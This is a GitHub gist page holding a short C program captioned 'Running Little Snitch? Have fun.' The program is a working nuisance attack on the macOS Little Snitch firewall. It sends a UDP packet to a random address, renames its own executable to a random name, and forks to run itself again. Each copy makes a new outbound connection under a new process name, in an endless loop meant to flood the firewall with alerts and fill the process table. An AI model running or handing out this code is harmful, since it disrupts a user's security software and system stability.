Created
October 10, 2012 03:32
-
-
Save jedisct1/3863018 to your computer and use it in GitHub Desktop.
Running Little Snitch? Have fun.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <fcntl.h> | |
#include <inttypes.h> | |
#include <signal.h> | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
void kaboom(int fodder) | |
{ | |
(void) fodder; | |
} | |
int main(int argc, char *argv[]) | |
{ | |
char name[16U + 1U]; | |
struct sockaddr_in si = { | |
.sin_len = sizeof si, | |
.sin_family = AF_INET, | |
.sin_addr.s_addr = arc4random(), | |
.sin_port = (uint16_t) arc4random() | |
}; | |
int kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP); | |
fcntl(kindy, F_SETFL, O_NONBLOCK | fcntl(kindy, F_GETFL, NULL)); | |
signal(SIGALRM, kaboom); | |
alarm(1); | |
(void) sendto(kindy, "", 1U, 0, (struct sockaddr *) &si, sizeof si); | |
close(kindy); | |
snprintf(name, sizeof name, "%" PRIx32 "%" PRIx32, | |
arc4random(), arc4random()); | |
rename(argv[0], name); | |
if (fork() == (pid_t) 0) { | |
execl(name, name, NULL); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment